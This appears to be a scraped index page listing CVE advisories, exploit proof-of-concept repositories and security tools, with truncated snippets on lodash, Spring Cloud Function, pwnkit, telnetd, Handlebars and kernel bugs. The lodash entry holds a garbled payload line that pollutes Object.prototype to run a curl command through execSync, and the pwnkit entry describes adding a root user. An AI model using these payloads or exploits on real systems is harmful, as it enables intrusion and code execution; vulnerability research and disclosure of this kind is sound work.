CVE-2026-4800-POC

CVE-2026-4800-POC Security Advisory https://github.com/lodash/lodash/security/advisories/GHSA-r5fr-rjxr-66jc POC root@kitploit: const = require'lodash'; Object.prototype.imports = 'x=process.getBuiltinModule"childprocess".execSync"curl https://example.com"':undefined .template'', ; Flow Using a...

CVE-2022-22963

CVE-2022-22963 Herramienta de detección y explotación de la vulnerabilidad de inyección de expresiones SpEL y ejecución remota de código en Spring Cloud Function. Resumen de la vulnerabilidad CVE-2022-22963 es una vulnerabilidad RCE de alto riesgo CVSS 9.8 en la funcionalidad de enrutamiento de...

CVE-2025-58789

Sink: The getOrderParameters function leads to SQL Injection vulnerability in the $orderBy and $order variables. PoC...

deephas-1.0.7-Prototype-Pollution-PoC-CVE-2026-25047-

deephas = 1.0.7 – プロトタイプ汚染 PoC CVE-2026-25047 Exploit Title: deephas = 1.0.7 - プロトタイプ汚染による任意コード実行 / DoS CVE: CVE-2026-25047 GHSA: GHSA-2733-6c58-pf27 CVSS: 9.8 Critical Author: Mohammed Idrees Banyamer Author Country: Jordan Contact: Instagram @banyamersecurity Date: February 01, 2026 Tested on:...

CVE-2026-32746

🚨 CVE-2026-32746 GNU Inetutils Telnetd RCE 🔥 📌 Executive Summary Critical Vulnerability | CVSS 9.8 | Remote Code Execution! Affects: GNU Inetutils Telnetd versions prior to 2.7 Type: OOB Write in the LINEMODE SLC suboption handler Attack Vector: Network Port 23 | No authentication required Impact...

EUVD-2026-86321

A vulnerability was identified in volotat Anagnorisis up to 0.4.11. Affected by this issue is the function html of the file PlaylistManager.js of the component Media Filename Handler. Such manipulation of the argument filepath leads to cross site scripting. The attack can be launched remotely. Th...

AZL-103757 CVE-2026-97521 affecting package kernel 6.6.157.1-1

In the Linux kernel, the following vulnerability has been resolved: gfs2: fix quota init duplicate scan gfs2quotainit checks for duplicate quotachange IDs while holding qdlock and the quota hash bucket bitlock. That path used gfs2qdsearchbucket, which takes a lockref reference via...

CVE-2026-97521

In the Linux kernel, the following vulnerability has been resolved: gfs2: fix quota init duplicate scan gfs2quotainit checks for duplicate quotachange IDs while holding qdlock and the quota hash bucket bitlock. That path used gfs2qdsearchbucket, which takes a lockref reference via...

AZL-103595 CVE-2026-93815 affecting package kernel 6.6.157.1-1

In the Linux kernel, the following vulnerability has been resolved: net: au1000: move freeirq out of the close-time spinlocked section au1000close calls freeirq while aup-lock is still held with spinlockirqsave. freeirq can sleep because it takes the IRQ descriptor request mutex, so it does not...

DEBIAN-CVE-2026-93815

In the Linux kernel, the following vulnerability has been resolved: net: au1000: move freeirq out of the close-time spinlocked section au1000close calls freeirq while aup-lock is still held with spinlockirqsave. freeirq can sleep because it takes the IRQ descriptor request mutex, so it does not...

DEBIAN-CVE-2026-88383

libical 4.0.6 contains an incompatible function pointer in icalparameterstringtokind. When parsing iCalendar data containing a parameterized property, the function passes icalparametercomparekindmap to bsearch through an incompatible comparator function pointer type. bsearch invokes the callback...

CVE-2026-88383

libical 4.0.6 contains an incompatible function pointer in icalparameterstringtokind. When parsing iCalendar data containing a parameterized property, the function passes icalparametercomparekindmap to bsearch through an incompatible comparator function pointer type. bsearch invokes the callback...

cve-2026-33937

CVE-2026-33937 - Handlebars RCE エクスプロイト PoC 説明 CVE-2026-33937 は、Handlebars における Abstract Syntax Tree（AST）入力の安全でない処理に起因する、重大なリモートコード実行（RCE）脆弱性です。 この脆弱性により、攻撃者は Handlebars.compile に細工された AST オブジェクトを渡すことで、任意の JavaScript コードを注入できます。 根本原因 Handlebars.compile は以下の両方を受け入れます： テンプレート文字列 事前解析済みの AST オブジェクト...

CVE-2021-4034

CVE-2021-4034 CVE-2021-4034 version available for CentOS 8 Based on modifications from https://github.com/berdav/CVE-2021-4034/tree/main/dry-run Usage Modify the system function in pwnkit-dry-run.c to execute custom commands by default it adds a r00t user with password XHSZWCPU6Nvobe Run make to...

PP_CVE-2024-38998

PPCVE-2024-38998 A vulnerability CVE-2024-38998 was identified in version 2.3.6 of the requirejs JavaScript module. It exploits prototype pollution in the config function, allowing attackers to modify Object.prototype with malicious inputs. This can cause DoS, remote code execution RCE, or XSS. T...

voidmap

voidmap CVE-2021-40449 を悪用して、指定されたアドレスで単一の引数を持つ任意の関数を実行させる、非常にシンプルなドライバー手動マッパーです。CallbackHell エクスプロイト PoC に基づいています。Windows 10 Pro For Workstations 1809 17763.379（64ビット）でテスト済みですが、現実的にはその頃のバージョンであればほぼ対応可能です。 以下の処理を行います： cr4 レジスタ値を書き換えて SMEP（および場合によっては SMAP）を無効化 目的のドライバーを手動マップするユーザーモードコードへジャンプ...

CVE-2024-33298

CVE-2024-33298 Stored Cross Site Scripting vulnerability in Microweber = 2.0.9 Summary : A Stored Cross Site Scripting vulnerability in Microweber v.2.0.9 allows a remote attacker to execute arbitrary code via the create new backup function in the endpoint /admin/module/view?type=adminbackup...

mora-hwbp

Mora-HWBP — AMSI / WLDP / ETW Telemetry Hooking via Hardware Breakpoints A security-research Proof-of-Concept POC demonstrating hardware-breakpoint CPU debug register based function hooking as an alternative to traditional in-memory code patching. Purpose & Scope This repository is published...

fnprint

fnprint matches functions in binaries by what they do , not by what their bytes or control-flow graphs look like. it runs each function in a tiny emulator with made-up inputs, records the side effects it produces, and hashes that behavior into a fingerprint. two functions that behave the same get...

CVE-2026-97521 gfs2: fix quota init duplicate scan

In the Linux kernel, the following vulnerability has been resolved: gfs2: fix quota init duplicate scan gfs2quotainit checks for duplicate quotachange IDs while holding qdlock and the quota hash bucket bitlock. That path used gfs2qdsearchbucket, which takes a lockref reference via...